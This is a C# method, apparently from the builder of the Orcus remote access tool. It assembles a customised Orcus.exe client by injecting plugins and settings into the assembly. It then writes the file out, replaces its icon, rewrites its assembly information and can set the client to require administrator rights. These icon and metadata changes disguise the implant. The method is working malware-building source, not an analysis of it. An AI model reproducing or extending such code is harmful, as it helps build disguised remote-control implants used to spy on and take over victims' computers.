public void Build(IBuilderInformation builderInformation, List <IBuilderProperty> properties, List <BuildPluginEvent> builderEvents, List <ClientPlugin> plugins, IBuildLogger buildLogger) { buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingStream"], properties.GetBuilderProperty <FrameworkVersionBuilderProperty>().FrameworkVersion)); Stream stream = null; var loadStreamPlugins = builderEvents.Where(x => x.BuilderEvent is LoadStreamBuilderEvent).ToList(); if (loadStreamPlugins.Count == 0) { var resource = Application.GetResourceStream( new Uri( $"pack://application:,,,/Orcus.Administration.Resources;component/Client/{properties.GetBuilderProperty<FrameworkVersionBuilderProperty>().FrameworkVersion}/Orcus.exe")); if (resource == null) { throw new FileNotFoundException(); } stream = resource.Stream; } else if (loadStreamPlugins.Count == 1) { stream = ((LoadStreamBuilderEvent)loadStreamPlugins.Single().BuilderEvent).LoadStream(builderInformation); buildLogger.Warn("BuildPlugin \"" + loadStreamPlugins[0].BuildPlugin.PluginInfo.Name + "\" modified the source stream. The output won't be the original Orcus made by Orcus Technologies."); } else if (loadStreamPlugins.Count > 1) { throw new Exception( $"The following build plugins want to change the source of the Orcus assembly: {string.Join(", ", loadStreamPlugins.Select(x => x.BuildPlugin.PluginInfo.Name))}. Please deselect all but one of these plugins to successfully build Orcus."); } using (stream) { buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusStreamLoaded"], FormatBytesConverter.BytesToString(stream.Length))); var assemblyDefinition = AssemblyDefinition.ReadAssembly(stream, new ReaderParameters { AssemblyResolver = new AssemblyResolver(buildLogger) }); buildLogger.Status((string)Application.Current.Resources["BuildStatusInjectingPlugins"]); List <PluginResourceInfo> installedPlugins; InstallPlugins(assemblyDefinition, plugins, buildLogger, out installedPlugins); buildLogger.Status((string)Application.Current.Resources["BuildStatusWritingSettings"]); ApplySettings(assemblyDefinition, properties, installedPlugins, plugins, buildLogger); AddResources(assemblyDefinition, properties, buildLogger); builderEvents.ExecuteBuildPluginEvents <ModifyAssemblyBuilderEvent>( x => x.ModifyAssembly(builderInformation, assemblyDefinition)); buildLogger.Status((string)Application.Current.Resources["BuildStatusSavingOnDisk"]); assemblyDefinition.Write( builderInformation.OutputFiles.Single(x => x.OutputFileType == OutputFileType.MainAssembly).Path); buildLogger.Success((string)Application.Current.Resources["BuildStatusSavedSuccessfully"]); } builderEvents.ExecuteBuildPluginEvents <ClientFileCreatedBuilderEvent>( x => x.ClientFileCreated(builderInformation)); var iconInfo = properties.GetBuilderProperty <ChangeIconBuilderProperty>(); if (iconInfo.ChangeIcon) { buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingIcon"]); Thread.Sleep(2000); //Wait for the filestream to close IconInjector.InjectIcon(builderInformation.AssemblyPath, iconInfo.IconPath); buildLogger.Success((string)Application.Current.Resources["BuildStatusIconChanged"]); } var assemblyInfo = properties.GetBuilderProperty <ChangeAssemblyInformationBuilderProperty>(); if (assemblyInfo.ChangeAssemblyInformation) { buildLogger.Status((string)Application.Current.Resources["BuildStatusApplyingAssemblyInformation"]); Thread.Sleep(2000); //Wait for the filestream to close ApplyAssemblyInformation(builderInformation.AssemblyPath, assemblyInfo); buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyInformationApplied"]); } if (properties.GetBuilderProperty <DefaultPrivilegesBuilderProperty>().RequireAdministratorRights) { buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingManifest"]); Thread.Sleep(2000); //Wait for the filestream to close ApplyManifest(builderInformation.AssemblyPath); buildLogger.Success((string)Application.Current.Resources["BuildStatusManifestChanged"]); } builderEvents.ExecuteBuildPluginEvents <ClientFileModifiedBuilderEvent>( x => x.ClientFileModified(builderInformation)); builderEvents.ExecuteBuildPluginEvents <ClientBuildCompletedBuilderEvent>( x => x.ClientBuildCompleted(builderInformation)); }